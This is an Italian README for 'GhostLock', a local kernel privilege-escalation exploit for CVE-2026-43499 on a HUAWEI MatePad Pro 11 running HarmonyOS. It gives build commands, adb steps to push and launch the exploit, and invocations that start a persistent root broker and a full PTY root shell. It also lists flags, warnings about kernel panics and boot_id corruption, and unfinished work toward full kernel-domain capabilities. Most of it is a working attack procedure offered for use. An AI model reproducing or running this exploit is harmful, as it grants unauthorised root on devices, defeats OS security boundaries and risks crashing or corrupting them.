GhostLock GOT-W29

Adattamento per l'escalation di privilegi CVE-2026-43499 su HUAWEI MatePad Pro 11 (GOT-W29, SM8250 / Snapdragon 870, HarmonyOS 4.x, kernel 4.19.157-perf+).

Stato attuale:

• Percorso A completato su dispositivo reale: credenziali private root legittime, SELinux mantenuto su u:r:shell:s0
• Broker root persistente: @gl_su
• Shell root PTY completa: Ctrl-C, tasti freccia e controllo dei job in background tutti funzionanti
• La lettura arbitraria utilizza una ctl_table random/uuid separata, senza modificare boot_id e il nodo ashmem
• Verifica dell'avvio a freddo dell'app superata
• Percorso B (u:r:kernel:s0 + full caps) ancora TODO

Per il principio completo, gli offset, le modalità di errore e la cronologia, vedere TECHNICAL.md.

Compilazione

cd exploit/ghostlock-source
make -j3

Artefatti:

exploit/ghostlock-source/build/bin/ghostlock_exe

La macchina attuale utilizza NDK sysroot + host clang per la compilazione incrociata, vedere exploit/ghostlock-source/TOOLCHAIN.md.

Avvio su dispositivo reale

adb push exploit/ghostlock-source/build/bin/ghostlock_exe /data/local/tmp/
adb shell chmod 755 /data/local/tmp/ghostlock_exe

Avviare il broker del percorso A:

adb shell /data/local/tmp/ghostlock_exe \
  --su-server --simple-root --fake-lock-window \
  --detach --probe-cycle --no-rt --attempts 1 \
  --leak-timeout 60 --fsync \
  --log-file /sdcard/ghostlock-su.log

In caso di successo il log contiene:

simple-root: LEGAL ROOT uid=0 euid=0 ctx=u:r:shell:s0
su: uid=0 euid=0 serving on abstract @gl_su

Utilizzo

Eseguire da un'altra adb shell:

adb shell /data/local/tmp/ghostlock_exe --rsh STATUS
adb shell /data/local/tmp/ghostlock_exe --rsh id
adb shell /data/local/tmp/ghostlock_exe --rsh 'il tuo comando'

La shell root interattiva deve usare -t:

adb shell -t /data/local/tmp/ghostlock_exe --rsh-shell

broker assegna al shell un vero terminale di controllo, quindi tty dovrebbe mostrare /dev/pts/N, Ctrl-C, i tasti freccia, jobs e il passaggio tra primo piano e sfondo funzionano tutti correttamente.

Note di sicurezza

• --fake-lock-window e --detach sono i parametri chiave per un'esecuzione sicura sul dispositivo reale.
• Non usare --hold; non terminare direttamente con kill -9 un worker che ha già consumato un waiter pendente.
• Un tentativo fallito può causare oops/panic; sul dispositivo reale mantenere --attempts 1.
• Per ripulire un worker detach è necessario riavviare il dispositivo.
• --verify-write, --verify-read, --verify-all sono autotest della primitiva di scrittura su boot_id, corrompono gli 8 byte alti di boot_id e devono essere eseguiti solo su QEMU o accettando esplicitamente il rischio.
• Non usare --escalate al posto del percorso A; è riservato alla ricerca sul percorso B e presenta rischi legati al ciclo di vita delle cred.

QEMU

cd tools/qemu-test
GLMODE="--simple-root --detach" GDB=0 ./build_and_run.sh
./read_log.py --wait 240 --until 'simple-root: LEGAL ROOT|simple-root: failed'

Per i dettagli su QEMU vedere tools/qemu-test/README.md.

TODO percorso B

Obiettivo: ottenere u:r:kernel:s0 e le capability complete.

Da risolvere:

• Ciclo di vita di cred/security e recupero RCU
• Esecuzione di programmi in spazio utente nel dominio kernel
• Policy di bind socket / mount / accesso ai file nel dominio kernel
• Fork di un processo figlio root e ereditarietà del SID
• Se la correzione permissiva/SID introduce effetti collaterali globali

Parametri principali

--simple-root             escalazione del percorso A
--su-server               avvia il broker root
--rsh CMD                 esegue un singolo comando
--rsh-shell               shell interattiva PTY completa
--fake-lock-window        usa un fake lock privato nello stack (consigliato su dispositivo reale)
--detach                  mantiene in vita permanentemente il worker che ha consumato il waiter
--probe-cycle             modalità di attivazione EDEADLK stabile sull'attuale kernel
--no-rt                   evita che i waiter RT affamino i CFS
--attempts 1              nessun nuovo tentativo in caso di fallimento sul dispositivo reale
--log-file PATH           log persistente
--fsync                   scrittura su disco del final-result

--help elenca tutti i parametri di autotest e di ricerca.